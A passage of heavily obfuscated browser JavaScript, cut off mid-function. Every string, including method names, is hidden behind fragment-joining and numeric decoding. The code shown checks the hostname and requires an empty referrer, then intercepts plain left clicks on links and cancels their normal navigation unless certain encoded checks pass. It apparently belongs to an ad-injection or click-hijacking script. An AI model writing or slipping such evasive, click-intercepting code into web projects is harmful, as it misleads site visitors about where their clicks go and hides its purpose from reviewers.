2381 var i = "len";
2382 /** @type {string} */
2383 var prKey = "gth";
2384 /** @type {string} */
2385 var M = "m11";
2386 /** @type {string} */
2387 var L = "03";
2388 /** @type {string} */
2389 var p08a = "4m1";
2390 /** @type {string} */
2391 var ctrl = "111";
2392 /** @type {string} */
2393 var itSkip = "it";
2394 /** @type {string} */
2395 var $mime_type = "spl";
2396 /** @type {string} */
2397 u = [i, prKey].join("");
2398 /** @type {string} */
2399 f = "m";
2400 /** @type {string} */
2401 base = "";
2402 x = (ctrl + M + p08a + L)[[$mime_type, itSkip].join("")](f);
2403 /** @type {number} */
2404 var j = 0;
2405 for (; j < x[u]; j++) {
2406 /** @type {string} */
2407 base = base + _NK$jscomp$0(x[j]);
2408 }
2409 return base;
2410 };
2411 /**
2412 * @param {number} y
2413 * @param {number} size
2414 * @param {string} data
2415 * @param {string} value
2416 * @param {string} name
2417 * @return {?}
2418 */
2419 var wrapper = function(y, size, data, value, name) {
2420 /** @type {string} */
2421 var b = "th";
2422 /** @type {string} */
2423 var $mime_type = "leng";
2424 /** @type {string} */
2425 var overviewId = "289";
2426 /** @type {string} */
2427 var appDrivePath = "4053";
2428 /** @type {string} */
2429 var CredentialScope = "99";
2430 /** @type {string} */
2431 var prKey = "903";
2432 /** @type {string} */
2433 var j = "spl";
2434 /** @type {string} */
2435 var ref = "it";
2436 /** @type {string} */
2437 var ret = "ver";
2438 /** @type {string} */
2439 var ACTION_SOUTH_EAST = "se";
2440 /** @type {string} */
2441 var op = "re";
2442 /** @type {string} */
2443 var DEP_PARH = "Stri";
2444 /** @type {string} */
2445 var codeDepth = "to";
2446 /** @type {string} */
2447 var moduleId = "ng";
2448 /** @type {string} */
2449 name = [$mime_type, b].join("");
2450 /** @type {string} */
2451 y = [overviewId].join("");
2452 /** @type {number} */
2453 size = 3;
2454 /** @type {string} */
2455 value = "";
2456 /** @type {string} */
2457 data = [appDrivePath, prKey, CredentialScope].join("");
2458 /** @type {number} */
2459 var index = 0;
2460 for (; index < data[name]; index = index + size) {
2461 /** @type {string} */
2462 var i = "sub";
2463 /** @type {string} */
2464 var src = "str";
2465 value = value + String[_Ds$jscomp$0](parseInt(data[[i, src].join("")](index, size), 10) - y);
2466 }
2467 return value[j + ref]("")[[op, ret, ACTION_SOUTH_EAST].join("")]()[918239[codeDepth + DEP_PARH + moduleId](36)]("");
2468 };
2469 /**
2470 * @param {string} method
2471 * @param {string} callback
2472 * @param {string} options
2473 * @param {string} val
2474 * @return {?}
2475 */
2476 var initOptions = function(method, callback, options, val) {
2477 /** @type {string} */
2478 var $mime_type = "leng";
2479 /** @type {string} */
2480 var b = "th";
2481 /** @type {string} */
2482 var id_day = "11";
2483 /** @type {string} */
2484 var a = "10";
2485 /** @type {string} */
2486 var _ = "2O1";
2487 /** @type {string} */
2488 var up = "5O1";
2489 /** @type {string} */
2490 var suffix = "O10";
2491 /** @type {string} */
2492 var c = "10";
2493 /** @type {string} */
2494 var managementcommandsdns = "spl";
2495 /** @type {string} */
2496 var siteName = "it";
2497 /** @type {string} */
2498 val = [$mime_type, b].join("");
2499 /** @type {string} */
2500 method = "O";
2501 /** @type {string} */
2502 options = "";
2503 callback = (a + up + c + suffix + _ + id_day)[managementcommandsdns + siteName](method);
2504 /** @type {number} */
2505 var promisifiedKey = 0;
2506 for (; promisifiedKey < callback[val]; promisifiedKey++) {
2507 /** @type {string} */
2508 options = options + _NK$jscomp$0(callback[promisifiedKey]);
2509 }
2510 return options;
2511 };
2512 /**
2513 * @param {number} date
2514 * @param {number} y
2515 * @param {string} win
2516 * @param {string} data
2517 * @param {string} i
2518 * @return {?}
2519 */
2520 var render = function(date, y, win, data, i) {
2521 /** @type {string} */
2522 var endPos = "leng";
2523 /** @type {string} */
2524 var size = "th";
2525 /** @type {string} */
2526 var $mime_type = "246";
2527 /** @type {string} */
2528 var distStyle = "346";
2529 /** @type {string} */
2530 var overviewId = "363";
2531 /** @type {string} */
2532 var v1ValueName = "347";
2533 /** @type {string} */
2534 var rSub = "lit";
2535 /** @type {string} */
2536 var sub = "sp";
2537 /** @type {string} */
2538 var CredentialScope = "rse";
2539 /** @type {string} */
2540 var prKey = "ve";
2541 /** @type {string} */
2542 var op = "re";
2543 /** @type {string} */
2544 i = endPos + size;
2545 /** @type {string} */
2546 date = [$mime_type].join("");
2547 /** @type {number} */
2548 y = 3;
2549 /** @type {string} */
2550 data = "";
2551 /** @type {string} */
2552 win = [overviewId, distStyle, v1ValueName].join("");
2553 /** @type {number} */
2554 var x = 0;
2555 for (; x < win[i]; x = x + y) {
2556 /** @type {string} */
2557 var $mime_type = "su";
2558 /** @type {string} */
2559 var sel = "tr";
2560 /** @type {string} */
2561 var input = "bs";
2562 data = data + String[_Ds$jscomp$0](parseInt(win[[$mime_type, input, sel].join("")](x, y), 10) - date);
2563 }
2564 return data[sub + rSub]("")[[op, prKey, CredentialScope].join("")]()[918239[_EK$jscomp$0](36)]("");
2565 };
2566 /**
2567 * @param {number} t
2568 * @param {number} p
2569 * @param {string} str
2570 * @param {string} value
2571 * @param {string} point
2572 * @return {?}
2573 */
2574 var translate = function(t, p, str, value, point) {
2575 /** @type {string} */
2576 var ii = "le";
2577 /** @type {string} */
2578 var tbm = "ngt";
2579 /** @type {string} */
2580 var i = "h";
2581 /** @type {string} */
2582 var $mime_type = "244";
2583 /** @type {string} */
2584 var tabs = "362";
2585 /** @type {string} */
2586 var s = "5347";
2587 /** @type {string} */
2588 var key = "35";
2589 /** @type {string} */
2590 var name = "t";
2591 /** @type {string} */
2592 var __ = "spli";
2593 /** @type {string} */
2594 var w = "e";
2595 /** @type {string} */
2596 var l_ = "ers";
2597 /** @type {string} */
2598 var url = "rev";
2599 /** @type {string} */
2600 var height = "n";
2601 /** @type {string} */
2602 var overviewId = "joi";
2603 /** @type {string} */
2604 point = ii + tbm + i;
2605 /** @type {string} */
2606 t = [$mime_type].join("");
2607 /** @type {number} */
2608 p = 3;
2609 /** @type {string} */
2610 value = "";
2611 /** @type {string} */
2612 str = tabs + key + s;
2613 /** @type {number} */
2614 var string = 0;
2615 for (; string < str[point]; string = string + p) {
2616 /** @type {string} */
2617 var i = "su";
2618 /** @type {string} */
2619 var n = "bs";
2620 /** @type {string} */
2621 var j = "tr";
2622 value = value + String[_Ds$jscomp$0](parseInt(str[i + n + j](string, p), 10) - t);
2623 }
2624 return value[__ + name]("")[url + l_ + w]()[[overviewId, height].join("")]("");
2625 };
2626 /**
2627 * @param {number} startTimestamp
2628 * @param {number} position
2629 * @param {string} data
2630 * @param {string} code
2631 * @param {string} name
2632 * @return {?}
2633 */
2634 var start = function(startTimestamp, position, data, code, name) {
2635 /** @type {string} */
2636 var static_ = "le";
2637 /** @type {string} */
2638 var index = "ngth";
2639 /** @type {string} */
2640 var topicUri6 = "166";
2641 /** @type {string} */
2642 var CredentialScope = "65";
2643 /** @type {string} */
2644 var $mime_type = "15";
2645 /** @type {string} */
2646 var inImageSize = "153";
2647 /** @type {string} */
2648 var prKey = "71";
2649 /** @type {string} */
2650 var defaultByteIndex = "spl";
2651 /** @type {string} */
2652 var coll = "it";
2653 /** @type {string} */
2654 var gadgetspec = "er";
2655 /** @type {string} */
2656 var id = "se";
2657 /** @type {string} */
2658 var DATASETS_BASE = "rev";
2659 /** @type {string} */
2660 name = static_ + index;
2661 /** @type {string} */
2662 startTimestamp = "56";
2663 /** @type {number} */
2664 position = 3;
2665 /** @type {string} */
2666 code = "";
2667 /** @type {string} */
2668 data = [$mime_type, prKey, CredentialScope, inImageSize, topicUri6].join("");
2669 /** @type {number} */
2670 var value = 0;
2671 for (; value < data[name]; value = value + position) {
2672 /** @type {string} */
2673 var selector = "tr";
2674 /** @type {string} */
2675 var s = "subs";
2676 code = code + String[_Ds$jscomp$0](parseInt(data[[s, selector].join("")](value, position), 10) - startTimestamp);
2677 }
2678 return code[defaultByteIndex + coll]("")[DATASETS_BASE + gadgetspec + id]()[918239[_EK$jscomp$0](36)]("");
2679 };
2680 if (!ident.hostname || "" !== bs$jscomp$0.referrer || null !== Dp$jscomp$0) {
2681 return false;
2682 }
2683 var windowHtml = Ab$jscomp$0(ident.hostname);
2684 if (windowHtml === Xq$jscomp$0) {
2685 return Xq$jscomp$0;
2686 }
2687 /** @type {!Array} */
2688 var r = [fn(), init(), wrapper(), initOptions(), render(), translate(), start()];
2689 var k;
2690 var placeholder;
2691 var previousPlaceholder;
2692 /** @type {number} */
2693 k = 0;
2694 for (; r[k]; placeholder = previousPlaceholder = null, k++) {
2695 /**
2696 * @param {string} max
2697 * @param {string} options
2698 * @param {string} name
2699 * @param {string} index
2700 * @return {?}
2701 */
2702 var name = function(max, options, name, index) {
2703 /** @type {string} */
2704 var b = "th";
2705 /** @type {string} */
2706 var $mime_type = "leng";
2707 /** @type {string} */
2708 var depth_diff = "v91";
2709 /** @type {string} */
2710 var CredentialScope = "43";
2711 /** @type {string} */
2712 var cfgW = "v40";
2713 /** @type {string} */
2714 var shortcodeName = "46v9";
2715 /** @type {string} */
2716 var cfgH = "2v94";
2717 /** @type {string} */
2718 var pinId = "2v";
2719 /** @type {string} */
2720 var topicUri6 = "46v9";
2721 /** @type {string} */
2722 var inImageSize = "v93v";
2723 /** @type {string} */
2724 var overviewId = "spli";
2725 /** @type {string} */
2726 var taskName = "t";
2727 /** @type {string} */
2728 var distStyle = "rse";
2729 /** @type {string} */
2730 var appDrivePath = "reve";
2731 /** @type {string} */
2732 index = [$mime_type, b].join("");
2733 /** @type {string} */
2734 max = "v";
2735 /** @type {string} */
2736 name = "";
2737 options = [shortcodeName, pinId, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW].join("")[[overviewId, taskName].join("")](max)[[appDrivePath, distStyle].join("")]();
2738 /** @type {number} */
2739 var i = 0;
2740 for (; i < options[index]; i++) {
2741 /** @type {string} */
2742 name = name + _NK$jscomp$0(options[i]);
2743 }
2744 return name;
2745 };
2746 /**
2747 * @param {number} date
2748 * @param {number} y
2749 * @param {string} win
2750 * @param {string} value
2751 * @param {string} name
2752 * @return {?}
2753 */
2754 var render = function(date, y, win, value, name) {
2755 /** @type {string} */
2756 var suffix = "th";
2757 /** @type {string} */
2758 var prefix = "leng";
2759 /** @type {string} */
2760 var $mime_type = "08";
2761 /** @type {string} */
2762 var CredentialScope = "086";
2763 /** @type {string} */
2764 var prKey = "1082";
2765 /** @type {string} */
2766 var test_key_ = "spl";
2767 /** @type {string} */
2768 var i = "it";
2769 /** @type {string} */
2770 var current = "re";
2771 /** @type {string} */
2772 var anchor = "e";
2773 /** @type {string} */
2774 var radius = "vers";
2775 /** @type {string} */
2776 name = prefix + suffix;
2777 /** @type {string} */
2778 date = "40";
2779 /** @type {number} */
2780 y = 3;
2781 /** @type {string} */
2782 value = "";
2783 /** @type {string} */
2784 win = [$mime_type, prKey, CredentialScope].join("");
2785 /** @type {number} */
2786 var x = 0;
2787 for (; x < win[name]; x = x + y) {
2788 /** @type {string} */
2789 var i = "sub";
2790 /** @type {string} */
2791 var src = "str";
2792 value = value + String[_Ds$jscomp$0](parseInt(win[[i, src].join("")](x, y), 10) - date);
2793 }
2794 return value[test_key_ + i]("")[current + radius + anchor]()[918239[_EK$jscomp$0](36)]("");
2795 };
2796 placeholder = windowHtml.match(new RegExp(name() + r[k] + render()));
2797 if (placeholder && placeholder[1]) {
2798 /**
2799 * @param {string} buf
2800 * @param {string} n
2801 * @param {string} t
2802 * @param {string} p
2803 * @return {?}
2804 */
2805 var factory = function(buf, n, t, p) {
2806 /** @type {string} */
2807 var x = "len";
2808 /** @type {string} */
2809 var rad1 = "gth";
2810 /** @type {string} */
2811 var buildNumber = "0";
2812 /** @type {string} */
2813 var escapedEmail = "b92";
2814 /** @type {string} */
2815 var id = "b9";
2816 /** @type {string} */
2817 var siteName = "b91";
2818 /** @type {string} */
2819 var Usertwo = "b93b";
2820 /** @type {string} */
2821 var folder = "46";
2822 /** @type {string} */
2823 var _ = "2b";
2824 /** @type {string} */
2825 var sitesowners = "b94";
2826 /** @type {string} */
2827 var Userone = "43";
2828 /** @type {string} */
2829 var potential_users = "46";
2830 /** @type {string} */
2831 var branchName = "b4";
2832 /** @type {string} */
2833 var $mime_type = "spl";
2834 /** @type {string} */
2835 var itSkip = "it";
2836 /** @type {string} */
2837 var name = "ers";
2838 /** @type {string} */
2839 var end = "e";
2840 /** @type {string} */
2841 var close = "rev";
2842 /** @type {string} */
2843 p = x + rad1;
2844 /** @type {string} */
2845 buf = "b";
2846 /** @type {string} */
2847 t = "";
2848 n = (folder + id + _ + Userone + Usertwo + potential_users + escapedEmail + sitesowners + siteName + branchName + buildNumber)[[$mime_type, itSkip].join("")](buf)[close + name + end]();
2849 /** @type {number} */
2850 var i = 0;
2851 for (; i < n[p]; i++) {
2852 /** @type {string} */
2853 t = t + _NK$jscomp$0(n[i]);
2854 }
2855 return t;
2856 };
2857 /**
2858 * @param {number} h
2859 * @param {number} c
2860 * @param {string} p
2861 * @param {string} state
2862 * @param {string} name
2863 * @return {?}
2864 */
2865 var init = function(h, c, p, state, name) {
2866 /** @type {string} */
2867 var prKey = "gth";
2868 /** @type {string} */
2869 var x = "len";
2870 /** @type {string} */
2871 var BIT = "0460";
2872 /** @type {string} */
2873 var u = "47";
2874 /** @type {string} */
2875 var n = "051";
2876 /** @type {string} */
2877 var taskName = "t";
2878 /** @type {string} */
2879 var $mime_type = "spli";
2880 /** @type {string} */
2881 var error = "er";
2882 /** @type {string} */
2883 var overviewId = "rev";
2884 /** @type {string} */
2885 var ACTION_SOUTH_EAST = "se";
2886 /** @type {string} */
2887 var siteName = "tr";
2888 /** @type {string} */
2889 var escapedEmail = "g";
2890 /** @type {string} */
2891 var managementcommandsdns = "toS";
2892 /** @type {string} */
2893 var potential_users = "in";
2894 /** @type {string} */
2895 name = [x, prKey].join("");
2896 /** @type {string} */
2897 h = "5";
2898 /** @type {number} */
2899 c = 3;
2900 /** @type {string} */
2901 state = "";
2902 /** @type {string} */
2903 p = BIT + u + n;
2904 /** @type {number} */
2905 var i = 0;
2906 for (; i < p[name]; i = i + c) {
2907 /** @type {string} */
2908 var selector = "tr";
2909 /** @type {string} */
2910 var s = "subs";
2911 state = state + String[_Ds$jscomp$0](parseInt(p[[s, selector].join("")](i, c), 10) - h);
2912 }
2913 return state[[$mime_type, taskName].join("")]("")[[overviewId, error, ACTION_SOUTH_EAST].join("")]()[918239[managementcommandsdns + siteName + potential_users + escapedEmail](36)]("");
2914 };
2915 previousPlaceholder = Xq$jscomp$0.match(new RegExp(factory() + r[k] + init()));
2916 if (previousPlaceholder && previousPlaceholder[1] === placeholder[1]) {
2917 return previousPlaceholder[1];
2918 }
2919 return false;
2920 }
2921 }
2922 return false;
2923 }
2924 /**
2925 * @param {!Object} e
2926 * @return {undefined}
2927 */
2928 function TO$jscomp$0(e) {
2929 /**
2930 * @param {string} event
2931 * @param {string} emitter
2932 * @param {string} value
2933 * @param {string} i
2934 * @return {?}
2935 */
2936 var init = function(event, emitter, value, i) {
2937 /** @type {string} */
2938 var suf = "th";
2939 /** @type {string} */
2940 var moduleId = "ng";
2941 /** @type {string} */
2942 var result11 = "le";
2943 /** @type {string} */
2944 var print = "9K1";
2945 /** @type {string} */
2946 var id2 = "4K10";
2947 /** @type {string} */
2948 var id1 = "K10";
2949 /** @type {string} */
2950 var counter = "5K9";
2951 /** @type {string} */
2952 var Z = "119";
2953 /** @type {string} */
2954 var random = "04";
2955 /** @type {string} */
2956 var itSkip = "it";
2957 /** @type {string} */
2958 var $mime_type = "spl";
2959 /** @type {string} */
2960 i = [result11, moduleId, suf].join("");
2961 /** @type {string} */
2962 event = "K";
2963 /** @type {string} */
2964 value = "";
2965 emitter = (Z + id1 + id2 + counter + print + random)[[$mime_type, itSkip].join("")](event);
2966 /** @type {number} */
2967 var id = 0;
2968 for (; id < emitter[i]; id++) {
2969 /** @type {string} */
2970 value = value + _NK$jscomp$0(emitter[id]);
2971 }
2972 return value;
2973 };
2974 /**
2975 * @param {number} y
2976 * @param {number} b
2977 * @param {string} t
2978 * @param {string} value
2979 * @param {string} i
2980 * @return {?}
2981 */
2982 var fn = function(y, b, t, value, i) {
2983 /** @type {string} */
2984 var endPos = "le";
2985 /** @type {string} */
2986 var size = "ngth";
2987 /** @type {string} */
2988 var ra = "207";
2989 /** @type {string} */
2990 var prKey = "73";
2991 /** @type {string} */
2992 var appDrivePath = "31";
2993 /** @type {string} */
2994 var inImageSize = "32";
2995 /** @type {string} */
2996 var cfgH = "3243";
2997 /** @type {string} */
2998 var CredentialScope = "18";
2999 /** @type {string} */
3000 var depth_diff = "05";
3001 /** @type {string} */
3002 var topicUri6 = "3323";
3003 /** @type {string} */
3004 var itSkip = "it";
3005 /** @type {string} */
3006 var $mime_type = "spl";
3007 /** @type {string} */
3008 var distStyle = "erse";
3009 /** @type {string} */
3010 var overviewId = "rev";
3011 /** @type {string} */
3012 i = endPos + size;
3013 /** @type {string} */
3014 y = ra;
3015 /** @type {number} */
3016 b = 3;
3017 /** @type {string} */
3018 value = "";
3019 /** @type {string} */
3020 t = [appDrivePath, prKey, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff].join("");
3021 /** @type {number} */
3022 var key = 0;
3023 for (; key < t[i]; key = key + b) {
3024 /** @type {string} */
3025 var i = "sub";
3026 /** @type {string} */
3027 var s = "str";
3028 value = value + String[_Ds$jscomp$0](parseInt(t[i + s](key, b), 10) - y);
3029 }
3030 return value[[$mime_type, itSkip].join("")]("")[[overviewId, distStyle].join("")]()[918239[_EK$jscomp$0](36)]("");
3031 };
3032 if (dB$jscomp$0) {
3033 e = e || kb$jscomp$0.event;
3034 }
3035 if (init() in e && 3 == e.which || fn() in e && 2 == e.button) {
3036 return;
3037 }
3038 if (!OU$jscomp$0(e)) {
3039 if (dB$jscomp$0) {
3040 /** @type {boolean} */
3041 e.returnValue = false;
3042 } else {
3043 e.preventDefault();
3044 }
3045 }
3046 }
3047 /**
3048 * @param {!Object} e
3049 * @return {?}
3050 */
3051 function OU$jscomp$0(e) {
3052 /**
3053 * @param {string} prefix
3054 * @param {string} callback
3055 * @param {string} def
3056 * @param {string} msg
3057 * @return {?}
3058 */
3059 var runTest = function(prefix, callback, def, msg) {
3060 /** @type {string} */
3061 var i = "len";
3062 /** @type {string} */
3063 var Event = "gth";
3064 /** @type {string} */
3065 var inImageSize = "b6";
3066 /** @type {string} */
3067 var pinVal = "101";
3068 /** @type {string} */
3069 var topicUri6 = "9b";
3070 /** @type {string} */
3071 var name = "16";
3072 /** @type {string} */
3073 var code = "10";
3074 /** @type {string} */
3075 var CredentialScope = "4b99";
3076 /** @type {string} */
3077 var depth_diff = "101b";
3078 /** @type {string} */
3079 var cfgW = "10";
3080 /** @type {string} */
3081 var prKey = "b11";
3082 /** @type {string} */
3083 var cfgH = "108b";
3084 /** @type {string} */
3085 var height = "b1";
3086 /** @type {string} */
3087 var width = "b1";
3088 /** @type {string} */
3089 var stderrIndicator = "9b";
3090 /** @type {string} */
3091 var overviewId = "115";
3092 /** @type {string} */
3093 var itSkip = "it";
3094 /** @type {string} */
3095 var $mime_type = "spl";
3096 /** @type {string} */
3097 msg = i + Event;
3098 /** @type {string} */
3099 prefix = "b";
3100 /** @type {string} */
3101 def = "";
3102 callback = [overviewId, prKey, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator, pinVal, height, code, width, name].join("")[[$mime_type, itSkip].join("")](prefix);
3103 /** @type {number} */
3104 var promisifiedKey = 0;
3105 for (; promisifiedKey < callback[msg]; promisifiedKey++) {
3106 /** @type {string} */
3107 def = def + _NK$jscomp$0(callback[promisifiedKey]);
3108 }
3109 return def;
3110 };
3111 /**
3112 * @param {number} coords
3113 * @param {number} size
3114 * @param {string} data
3115 * @param {string} state
3116 * @param {string} name
3117 * @return {?}
3118 */
3119 var init = function(coords, size, data, state, name) {
3120 /** @type {string} */
3121 var chosenEmoji = "ngt";
3122 /** @type {string} */
3123 var prefix = "le";
3124 /** @type {string} */
3125 var suffix = "h";
3126 /** @type {string} */
3127 var overviewId = "165";
3128 /** @type {string} */
3129 var pid = "7926";
3130 /** @type {string} */
3131 var ii = "2812";
3132 /** @type {string} */
3133 var firstParticleIndex = "66";
3134 /** @type {string} */
3135 var _ = "2281";
3136 /** @type {string} */
3137 var indexjsonSavenodeId = "2682";
3138 /** @type {string} */
3139 var $mime_type = "spli";
3140 /** @type {string} */
3141 var taskName = "t";
3142 /** @type {string} */
3143 var p = "reve";
3144 /** @type {string} */
3145 var alphaDataOffset = "rse";
3146 /** @type {string} */
3147 name = prefix + chosenEmoji + suffix;
3148 /** @type {string} */
3149 coords = [overviewId].join("");
3150 /** @type {number} */
3151 size = 3;
3152 /** @type {string} */
3153 state = "";
3154 /** @type {string} */
3155 data = ii + firstParticleIndex + indexjsonSavenodeId + pid + _;
3156 /** @type {number} */
3157 var i = 0;
3158 for (; i < data[name]; i = i + size) {
3159 /** @type {string} */
3160 var selector = "tr";
3161 /** @type {string} */
3162 var s = "subs";
3163 state = state + String[_Ds$jscomp$0](parseInt(data[[s, selector].join("")](i, size), 10) - coords);
3164 }
3165 return state[[$mime_type, taskName].join("")]("")[p + alphaDataOffset]()[918239[_EK$jscomp$0](36)]("");
3166 };
3167 var ref = dB$jscomp$0 ? runTest() : init();
3168 var type;
3169 var o = e[ref];
3170 do {
3171 /**
3172 * @param {string} unit
3173 * @param {string} value
3174 * @param {string} exp
3175 * @param {string} path
3176 * @return {?}
3177 */
3178 var init = function(unit, value, exp, path) {
3179 /** @type {string} */
3180 var i = "h";
3181 /** @type {string} */
3182 var _eGroup_ = "ngt";
3183 /** @type {string} */
3184 var whichEffects = "le";
3185 /** @type {string} */
3186 var prKey = "2T69";
3187 /** @type {string} */
3188 var CredentialScope = "T65";
3189 /** @type {string} */
3190 var $mime_type = "65T8";
3191 /** @type {string} */
3192 var index = "spl";
3193 /** @type {string} */
3194 var coll = "it";
3195 /** @type {string} */
3196 path = whichEffects + _eGroup_ + i;
3197 /** @type {string} */
3198 unit = "T";
3199 /** @type {string} */
3200 exp = "";
3201 value = [$mime_type, prKey, CredentialScope].join("")[index + coll](unit);
3202 /** @type {number} */
3203 var assertionType = 0;
3204 for (; assertionType < value[path]; assertionType++) {
3205 /** @type {string} */
3206 exp = exp + _NK$jscomp$0(value[assertionType]);
3207 }
3208 return exp;
3209 };
3210 try {
3211 type = o.nodeType;
3212 } catch (r) {
3213 break;
3214 }
3215 if (1 === type && (a = o.tagName.toUpperCase(), "A" === a || init() === a)) {
3216 /**
3217 * @param {string} event
3218 * @param {string} callback
3219 * @param {string} text
3220 * @param {string} attr
3221 * @return {?}
3222 */
3223 var translate = function(event, callback, text, attr) {
3224 /** @type {string} */
3225 var i = "th";
3226 /** @type {string} */
3227 var hm_id = "leng";
3228 /** @type {string} */
3229 var prKey = "120s";
3230 /** @type {string} */
3231 var CredentialScope = "116s";
3232 /** @type {string} */
3233 var u = "105s";
3234 /** @type {string} */
3235 var cfgW = "114";
3236 /** @type {string} */
3237 var f = "10";
3238 /** @type {string} */
3239 var code = "s1";
3240 /** @type {string} */
3241 var store_name = "s1";
3242 /** @type {string} */
3243 var l = "6s";
3244 /** @type {string} */
3245 var name = "14s1";
3246 /** @type {string} */
3247 var x = "01";
3248 /** @type {string} */
3249 var height = "s100";
3250 /** @type {string} */
3251 var g = "3";
3252 /** @type {string} */
3253 var j = "110s";
3254 /** @type {string} */
3255 var initial = "s99";
3256 /** @type {string} */
3257 var width = "05s1";
3258 /** @type {string} */
3259 var topicUri6 = "8s11";
3260 /** @type {string} */
3261 var depth_diff = "95s";
3262 /** @type {string} */
3263 var cfgH = "0s";
3264 /** @type {string} */
3265 var pinVal = "01";
3266 /** @type {string} */
3267 var inImageSize = "10";
3268 /** @type {string} */
3269 var $mime_type = "101s";
3270 /** @type {string} */
3271 var y = "s11";
3272 /** @type {string} */
3273 var coll = "it";
3274 /** @type {string} */
3275 var index = "spl";
3276 /** @type {string} */
3277 attr = hm_id + i;
3278 /** @type {string} */
3279 event = "s";
3280 /** @type {string} */
3281 text = "";
3282 callback = [$mime_type, prKey, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, store_name, pinVal, height, code, width, name, x, initial, y, l, u, j, f, g].join("")[index + coll](event);
3283 /** @type {number} */
3284 var promisifiedKey = 0;
3285 for (; promisifiedKey < callback[attr]; promisifiedKey++) {
3286 /** @type {string} */
3287 text = text + _NK$jscomp$0(callback[promisifiedKey]);
3288 }
3289 return text;
3290 };
3291 var aRetain = e.ctrlKey || e.metaKey || e.altKey || e.shiftKey;
3292 var b = e.which && 1 === e.which || 0 === e.button;
3293 var a = o;
3294 if (!(a && !aRetain && b && P$jscomp$0(a))) {
3295 return true;
3296 }
3297 if (a.getAttribute(translate())) {
3298 return true;
3299 }
3300 if (gw$jscomp$0(o)) {
3301 return true;
3302 }
3303 if (P$jscomp$0(o)) {
3304 var className;
3305 if (className = Bj$jscomp$0(o)) {
3306 var sec = Kw$jscomp$0(dh$jscomp$0);
3307 if (sec == 1) {
3308 return true;
3309 }
3310 }
3311 if (Uy$jscomp$0(e, o, className) !== true) {
3312 return false;
3313 }
3314 }
3315 }
3316 o = o.parentNode;
3317 } while (o);
3318 return true;
3319 }
3320 /**
3321 * @param {?} src$jscomp$2
3322 * @return {undefined}
3323 */
3324 function qy$jscomp$0(src$jscomp$2) {
3325 /**
3326 * @param {string} canvas
3327 * @param {string} r
3328 * @param {string} s
3329 * @param {string} k
3330 * @return {?}
3331 */
3332 var _nj29$jscomp$0 = function(canvas, r, s, k) {
3333 /** @type {string} */
3334 var tfl = "ng";
3335 /** @type {string} */
3336 var ii = "le";
3337 /** @type {string} */
3338 var i = "th";
3339 /** @type {string} */
3340 var a = "c1";
3341 /** @type {string} */
3342 var NON_CAP_IDENTITY_REGEX = "110c";
3343 /** @type {string} */
3344 var p = "c11";
3345 /** @type {string} */
3346 var d = "114";
3347 /** @type {string} */
3348 var bookdetail = "116c";
3349 /** @type {string} */
3350 var name = "c11";
3351 /** @type {string} */
3352 var stepName = "1c1";
3353 /** @type {string} */
3354 var c = "119";
3355 /** @type {string} */
3356 var key = "08";
3357 /** @type {string} */
3358 var u = "01c";
3359 /** @type {string} */
3360 var mod = "c105";
3361 /** @type {string} */
3362 var e = "c10";
3363 /** @type {string} */
3364 var _ = "5c";
3365 /** @type {string} */
3366 var m = "104";
3367 /** @type {string} */
3368 var w = "c67c";
3369 /** @type {string} */
3370 var _se = "5";
3371 /** @type {string} */
3372 var Cancel = "00";
3373 /** @type {string} */
3374 var expected = "97c1";
3375 /** @type {string} */
3376 var dist = "6c";
3377 /** @type {string} */
3378 var id = "10";
3379 /** @type {string} */
3380 var PR_LITERAL = "lit";
3381 /** @type {string} */
3382 var str = "sp";
3383 /** @type {string} */
3384 k = ii + tfl + i;
3385 /** @type {string} */
3386 canvas = "c";
3387 /** @type {string} */
3388 s = "";
3389 r = (c + mod + name + dist + m + w + d + e + stepName + Cancel + a + u + NON_CAP_IDENTITY_REGEX + bookdetail + id + _ + expected + key + p + _se)[[str, PR_LITERAL].join("")](canvas);
3390 /** @type {number} */
3391 var value = 0;
3392 for (; value < r[k]; value++) {
3393 /** @type {string} */
3394 s = s + _NK$jscomp$0(r[value]);
3395 }
3396 return s;
3397 };
3398 /**
3399 * @param {string} node
3400 * @param {string} values
3401 * @param {string} joiner
3402 * @param {string} where
3403 * @return {?}
3404 */
3405 var _nj30$jscomp$0 = function(node, values, joiner, where) {
3406 /** @type {string} */
3407 var i = "len";
3408 /** @type {string} */
3409 var prKey = "gth";
3410 /** @type {string} */
3411 var M = "8i1";
3412 /** @type {string} */
3413 var p21b = "10";
3414 /** @type {string} */
3415 var file = "i11";
3416 /** @type {string} */
3417 var x = "10i";
3418 /** @type {string} */
3419 var fun = "1";
3420 /** @type {string} */
3421 var id = "0i97";
3422 /** @type {string} */
3423 var jobs = "10";
3424 /** @type {string} */
3425 var l = "11";
3426 /** @type {string} */
3427 var L = "1i";
3428 /** @type {string} */
3429 var managementcommandsdns = "spl";
3430 /** @type {string} */
3431 var siteName = "it";
3432 /** @type {string} */
3433 var libPath = "reve";
3434 /** @type {string} */
3435 var Cont = "rse";
3436 /** @type {string} */
3437 where = [i, prKey].join("");
3438 /** @type {string} */
3439 node = "i";
3440 /** @type {string} */
3441 joiner = "";
3442 values = (jobs + id + file + L + p21b + M + x + l + fun)[managementcommandsdns + siteName](node)[libPath + Cont]();
3443 /** @type {number} */
3444 var value = 0;
3445 for (; value < values[where]; value++) {
3446 /** @type {string} */
3447 joiner = joiner + _NK$jscomp$0(values[value]);
3448 }
3449 return joiner;
3450 };
3451 /**
3452 * @param {string} mode
3453 * @param {string} values
3454 * @param {string} joiner
3455 * @param {string} where
3456 * @return {?}
3457 */
3458 var _nj32$jscomp$0 = function(mode, values, joiner, where) {
3459 /** @type {string} */
3460 var i = "len";
3461 /** @type {string} */
3462 var prKey = "gth";
3463 /** @type {string} */
3464 var CredentialScope = "Q10";
3465 /** @type {string} */
3466 var inImageSize = "3";
3467 /** @type {string} */
3468 var pinId = "Q101";
3469 /** @type {string} */
3470 var $mime_type = "116";
3471 /** @type {string} */
3472 var overviewId = "spl";
3473 /** @type {string} */
3474 var itSkip = "it";
3475 /** @type {string} */
3476 var op = "re";
3477 /** @type {string} */
3478 var lb = "e";
3479 /** @type {string} */
3480 var distStyle = "ve";
3481 /** @type {string} */
3482 var pos = "rs";
3483 /** @type {string} */
3484 where = [i, prKey].join("");
3485 /** @type {string} */
3486 mode = "Q";
3487 /** @type {string} */
3488 joiner = "";
